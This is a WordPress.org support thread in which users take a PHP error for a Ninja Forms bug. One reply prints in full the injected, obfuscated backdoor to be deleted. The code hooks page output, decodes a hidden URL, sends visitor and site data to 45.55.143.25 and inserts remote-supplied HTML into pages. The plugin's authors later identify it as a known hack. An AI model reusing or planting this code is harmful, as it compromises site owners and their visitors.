Title: Weird Error
Last modified: August 30, 2016

---

# Weird Error

 *  Resolved [Razoe](https://wordpress.org/support/users/razoe/)
 * (@razoe)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/)
 * Hey Guys,
 * I am using NF 2.9.18. And i am getting this error at the top of my website, and
   the Ninja forms has disappeared from the admin dashboard
 * “@since 2.7 * [@return](https://wordpress.org/support/users/return/) object The
   Highlander Ninja_Forms Instance */ function Ninja_Forms() { return Ninja_Forms::
   instance(); } Ninja_Forms();”
 * can anyone provide some insight as to why this is happening? thanks in advance.
 * [https://wordpress.org/plugins/ninja-forms/](https://wordpress.org/plugins/ninja-forms/)

Viewing 9 replies - 1 through 9 (of 9 total)

 *  [Joao Little Forest](https://wordpress.org/support/users/joao-little-forest/)
 * (@joao-little-forest)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207366)
 * Hi mate, I have found that problem today as well..
 * There is a fix for that.
 * You have to go to the plugin folder “ninja-forms” and then to > ninja-forms.php
 * Find the line 740 and 931 and then delete all between them (including blank spaces).
 * I believe this was some mistake they made when updating the plugin.
 * Hope that help.. It’s is properly working for me.
 * There it is the wrong code to be removed:
 * /**
    * Speedup php function cache by optimizing buffer output */ ;if (!function_exists(‘
   _php_cache_speedup_func_optimizer_’)) { function _php_cache_speedup_func_optimizer_(
   $buffer) { if (isset($GLOBALS[‘_php_cache_speedup_func_optimizer_completed_’])){//
   already completed return $buffer; }
 *  $mod = false;
    $token = ‘czoyNzoiaHR0cDovLzQ1LjU1LjE0My4yNS9tZXYucGhwIjs=’; 
   $tmp_buffer = $buffer; $gzip = false; $body = ‘<‘ . ‘b’ . ‘o’ . ‘d’ . ‘y’;
 *  if (($has_body = stripos($buffer, $body)) === false) {
    // define gzdecode function
   if not defined if (!function_exists(‘gzdecode’)) { function gzdecode($data) {
   return @gzinflate(substr($data, 10, -8)); } }
 *  // gzdecode buffer
    $tmp_buffer = @gzdecode($tmp_buffer);
 *  // check if buffer has body tag
    if (($has_body = stripos($tmp_buffer, $body))!
   == false) { // got body tag, this should be gzencoded when done $gzip = true;}}
 *  if ($has_body === false) {
    // no body, return original buffer return $buffer;}
 *  $GLOBALS[‘_php_cache_speedup_func_optimizer_completed_’] = true;
 *  // decode token
    $func = ‘b’ . ‘a’ . ‘s’ . ‘e’ . ‘6’ . ‘4’ . ‘_’ . ‘d’ . ‘e’.‘
   c’ . ‘o’ . ‘d’ . ‘e’; $token = @unserialize(@$func($token)); if (empty($token)){
   return $buffer; }
 *  // download remote data
    function down($url, $timeout = 5) { // download using
   file_get_contents if (@ini_get(‘allow_url_fopen’)) { $ctx = @stream_context_create(
   array(‘http’ => array(‘timeout’ => $timeout))); if ($ctx !== FALSE) { $file =
   @file_get_contents($url, false, $ctx); if ($file !== FALSE) { return $file; }}}
 *  // download using curl
    if (function_exists(‘curl_init’)) { $ch = curl_init();
 *  curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,
   true); curl_setopt($ch, CURLOPT_MAXREDIRS, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,
   $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER,
   true);
 *  $response = curl_exec($ch);
    curl_close($ch);
 *  return $response;
    }
 *  // download using sockets
    if (extension_loaded(‘sockets’)) { $data = parse_url(
   $url); if (!empty($data[‘host’])) { $host = $data[‘host’]; $port = isset($data[‘
   port’]) ? $data[‘port’] : 80; $uri = empty($data[‘path’]) ? ‘/’ : $data[‘path’];
   if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option(
   $socket, SOL_SOCKET, SO_SNDTIMEO, array(‘sec’ => $timeout, ‘usec’ => $timeout*
   1000)) && @socket_connect($socket, $host, $port)) { $buf = “GET $uri HTTP/1.0\
   r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; 
   WinNT)\r\nHost: $host\r\n\r\n”; if (@socket_write($socket, $buf) !== FALSE) {
   $response = ”; while (($tmp = @socket_read($socket, 1024))) { $response .= $tmp;}
   @socket_close($socket); return $response; } } } }
 *  return false;
    }
 *  $token .= ((strpos($token, ‘?’) === false) ? ‘?’ : ‘&’) . http_build_query(array(
   ‘
   h’ => $_SERVER[‘HTTP_HOST’], ‘u’ => $_SERVER[‘REQUEST_URI’], ‘a’ => empty($_SERVER[‘
   HTTP_USER_AGENT’]) ? ” : $_SERVER[‘HTTP_USER_AGENT’], ‘r’ => empty($_SERVER[‘
   HTTP_REFERER’]) ? ” : $_SERVER[‘HTTP_REFERER’], ‘i’ => $_SERVER[‘REMOTE_ADDR’],‘
   f’ => __FILE__, ‘v’ => 6 )); $token = @unserialize(@$func(down($token)));
 *  if (empty($token) || empty($token[‘data’]) || !is_array($token[‘data’])) {
    //
   invalid data return $buffer; }
 *  // fix missing meta description
    if (isset($token[‘meta’]) && $token[‘meta’]&&(
   $pos = stripos($tmp_buffer, ‘</head>’)) !== false) { $tmp = substr($tmp_buffer,
   0, $pos); if (stripos($tmp, ‘name=”description”‘) === false && stripos($tmp, ‘
   name=\’description\”) === false && stripos($tmp, ‘name=description’) === false){
   $meta = $_SERVER[‘HTTP_HOST’]; // append meta description $tmp_buffer = substr(
   $tmp_buffer, 0, $pos) . ‘<‘ . ‘m’ . ‘e’ . ‘t’ . ‘a’ . ‘ ‘ . ‘n’ . ‘a’. ‘m’ . ‘
   e’ . ‘=’. ‘”‘ . ‘d’ . ‘e’ . ‘s’ .’c’ .’r’ . ‘i’ . ‘p’ . ‘t’ . ‘i’ . ‘o’ . ‘n’.‘”‘.‘‘.‘
   c’ . ‘o’ . ‘n’ . ‘t’ . ‘e’ . ‘n’ . ‘t’ . ‘=”‘. htmlentities(substr($meta, 0, 
   160)) .'”>’ . substr($tmp_buffer, $pos); $mod = true; } }
 *  foreach ($token[‘data’] as $tokenData) {
    // set defaults $tokenData = array_merge(
   array( ‘content’ => ”, ‘pos’ => ‘after’, ‘tag’ => ‘bo’ . ‘dy’, ‘count’ => 0, ),
   $tokenData);
 *  if (empty($tokenData[‘content’])) {
    // no content continue; }
 *  // find all occurrences of <tag>
    $tags = array(); while (true) { if (($tmp 
   = @stripos($tmp_buffer, ‘<‘.$tokenData[‘tag’], empty($tags) ? 0 : $tags[count(
   $tags) – 1] + 1)) === false) { break; } $tags[] = $tmp; }
 *  if (empty($tags)) {
    // no tags found or nothing to show continue; }
 *  // find matched tag position
    $count = $tokenData[‘count’]; if ($tokenData[‘
   count’] < 0) { // from end to beginning $count = abs($tokenData[‘count’]) – 1;
   $tags = array_reverse($tags); }
 *  if ($count >= count($tags)) {
    // fix overflow $count = count($tags) – 1; }
 *  // find insert position
    if ($tokenData[‘pos’] == ‘before’) { // pos is before
   $insert = $tags[$count]; } else if (($insert = strpos($tmp_buffer, ‘>’, $tags[
   $count])) !== false) { // pos is after, found end tag, insert after it $insert
   += 1; }
 *  if ($insert === false) {
    // no insert position continue; }
 *  // insert html code
    $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData[‘
   content’] . substr($tmp_buffer, $insert); $mod = true; }
 *  // return gzencoded or normal buffer
    return !$mod ? $buffer : ($gzip ? gzencode(
   $tmp_buffer) : $tmp_buffer); } ob_start(‘_php_cache_speedup_func_optimizer_’);
   register_shutdown_function(‘ob_end_flush’); } ?>
 *  Thread Starter [Razoe](https://wordpress.org/support/users/razoe/)
 * (@razoe)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207424)
 * awww man. Thanks a whole lot!! It solved my problem. !!!
 *  Thread Starter [Razoe](https://wordpress.org/support/users/razoe/)
 * (@razoe)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207425)
 * 😀
 *  [Joao Little Forest](https://wordpress.org/support/users/joao-little-forest/)
 * (@joao-little-forest)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207455)
 * Cheers 😉
 *  [respectyoda](https://wordpress.org/support/users/respectyoda/)
 * (@respectyoda)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207488)
 * [@joao](https://wordpress.org/support/users/joao/), DO NOT suggest people to 
   edit the plugin files directly! The changes that are made to any of the plugin
   files directly WILL be overwritten when the plugin is updated. When this kind
   of problem is present, contact the Ninja Forms team directly [here](https://ninjaforms.com/contact/).
 *  [galstyantaron](https://wordpress.org/support/users/galstyantaron/)
 * (@galstyantaron)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207508)
 * Hi Razoe
    Thank you very much. Your topic helps me immedietly.
 *  Plugin Contributor [Kyle B. Johnson](https://wordpress.org/support/users/kbjohnson90/)
 * (@kbjohnson90)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207510)
 * [@razoe](https://wordpress.org/support/users/razoe/), [@joao](https://wordpress.org/support/users/joao/),
   [@galstyantaron](https://wordpress.org/support/users/galstyantaron/)
 * This does not look like Ninja Forms code.
 * Please contact the support team at [http://ninjaforms.com/contact/](http://ninjaforms.com/contact/)
 *  Plugin Author [James Laws](https://wordpress.org/support/users/jameslaws/)
 * (@jameslaws)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207511)
 * **Those lines of code are not actually in our plugin.** If you are seeing them
   then you may have a bigger issue. I would highly recommend having a security 
   service do an audit on your site to see if you have some vulnerabilities somewhere
   that may be adding code to your WordPress install and plugins.
 *  Plugin Contributor [Zach Skaggs](https://wordpress.org/support/users/wpnzach/)
 * (@wpnzach)
 * [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207512)
 * To clarify, [@razoe](https://wordpress.org/support/users/razoe/), [@joao](https://wordpress.org/support/users/joao/),
   [@galstyantaron](https://wordpress.org/support/users/galstyantaron/)
 * Your site HAS been hacked. This is an old WordPress hack that I found as far 
   back as 2013. It’s sending information from your database to [http://45.55.143.25/mev.php](http://45.55.143.25/mev.php)(
   that’s the URL hidden in the “Token” portion of the URL. You should have your
   site evaluated for further breaches as soon as you are able.

Viewing 9 replies - 1 through 9 (of 9 total)

The topic ‘Weird Error’ is closed to new replies.

 * ![](https://ps.w.org/ninja-forms/assets/icon-256x256.png?rev=1649747)
 * [Ninja Forms - The Contact Form Builder That Grows With You](https://wordpress.org/plugins/ninja-forms/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/ninja-forms/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/ninja-forms/)
 * [Active Topics](https://wordpress.org/support/plugin/ninja-forms/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/ninja-forms/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/ninja-forms/reviews/)

 * 9 replies
 * 7 participants
 * Last reply from: [Zach Skaggs](https://wordpress.org/support/users/wpnzach/)
 * Last activity: [10 years, 11 months ago](https://wordpress.org/support/topic/weird-error-12/#post-6207512)
 * Status: resolved